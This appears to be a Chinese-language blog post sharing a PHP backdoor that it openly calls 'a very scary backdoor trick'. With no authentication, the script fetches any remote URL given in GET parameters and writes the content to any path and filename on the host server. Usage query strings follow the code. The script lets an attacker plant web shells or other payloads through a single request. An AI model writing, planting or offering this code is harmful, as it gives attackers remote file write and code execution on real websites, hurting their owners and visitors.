可以实现网站A访问php文件+特定参数网址 将指定b网站上的文件  下载生成到A网站指定的目录上  非常可怕的后门技巧代码

 

一个简单的 PHP 代码示例：

<?php
// 后台上传：pass.123.txt
function download_file() {
    $url = isset($_GET['url']) ? $_GET['url'] : '';
    $save_path = isset($_GET['save_path']) ? $_GET['save_path'] : dirname(__FILE__).'/';
    $filename = isset($_GET['filename']) ? $_GET['filename'] : 'downloaded_file.txt';

    if ($url == '') {
        return "需要提供?url=xxx.com 的文件。";
    }

    // 保存文件
    try {
        $content = file_get_contents($url);
        file_put_contents($save_path . $filename, $content);
        return "成功下载到：{$save_path}{$filename}";
    } catch (\Exception $e) {
        return "下载错误: " . $e->getMessage();
    }
}

// 访问示例：index.php?act=download&url=url
if (isset($_GET['act']) && $_GET['act'] == 'download') {
    echo download_file();
}
?>

使用方式：

  1. 访问路径： 
    PHPindex.php?act=download&url=xxx.com/file.txt
  2. 自定义保存路径和文件名：
    • 保存到当前目录下: 
      TEXTindex.php?act=download&url=xxx.com/file.txt
    • 指定保存路径： 
      TEXTindex.php?act=download&url=xxx.com/file.txt&save_path=/data/backups/
    • 指定文件名： 
      TEXTindex.php?act=download&url=xxx.com/file.txt&filename=backup_1234.txt
    • 同时指定路径和文件名： 
      TEXTindex.php?act=download&url=xxx.com/file.txt&save_path=/data/backups/&filename=backups_5678.txt
  3. 返回结果：
    成功下载后会显示保存的路径和文件名，例如:

    TEXT成功下载到：/var/www/data/backups/backups_1234.txt

 

该资源来源于WordPress主站，点击下方按钮前往原文页面获取完整内容：

跳转至 WordPress 主站原文页面

声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。